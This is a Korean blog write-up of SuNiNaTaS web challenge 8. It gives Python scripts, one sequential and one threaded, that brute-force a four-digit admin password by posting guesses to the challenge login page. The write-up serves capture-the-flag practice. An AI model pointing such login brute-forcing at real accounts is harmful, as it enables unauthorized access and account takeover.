반응형
문제
문제풀이
힌트를 보면 아이디는 admin, 비밀번호는 0-9999 사이의 숫자이다.
<!-- Hint : Login 'admin' Password in 0~9999 -->
burp suite intruder 기능을 이용할 수 있다.
시간이 오래 걸려서 파이썬 코드로 작성했다.
import requests
url = "http://suninatas.com/challenge/web08/web08.asp"
params = {'id':'admin', 'pw':1}
for i in range(0, 9999):
params['pw'] = i
res = requests.post(url, data = params)
if res.text.find("Incorrect") == -1:
print(i)
break
- threading
import requests
import threading
url = "http://suninatas.com/challenge/web08/web08.asp"
params = {'id':'admin', 'pw':1}
success_password = None
# 비밀번호 공격 함수
def brute_force_password(start, end):
global success_password
for i in range(start, end):
if success_password:
break # 이미 성공한 경우 다른 스레드들 중지
params['pw'] = i
res = requests.post(url, data=params)
if res.text.find("Incorrect") == -1:
success_password = i
# 스레드 수
num_threads = 4
threads = []
# 범위를 분할하고 스레드 생성
for i in range(num_threads):
start = i * (9999 // num_threads)
end = (i + 1) * (9999 // num_threads) if i < num_threads - 1 else 9999
thread = threading.Thread(target=brute_force_password, args=(start, end))
threads.append(thread)
thread.start()
# 모든 스레드 종료 대기
for thread in threads:
thread.join()
if success_password is not None:
print(f"비밀번호 : {success_password}")
반응형
'write-up(web) > misc' 카테고리의 다른 글
[suninatas] WEB 23 (0) | 2023.10.27 |
---|---|
[suninatas] WEB 22 (0) | 2023.10.27 |
[suninatas] WEB 7 (0) | 2023.10.26 |
[suninatas] WEB 6 (0) | 2023.10.26 |
[suninatas] WEB 5 (1) | 2023.10.26 |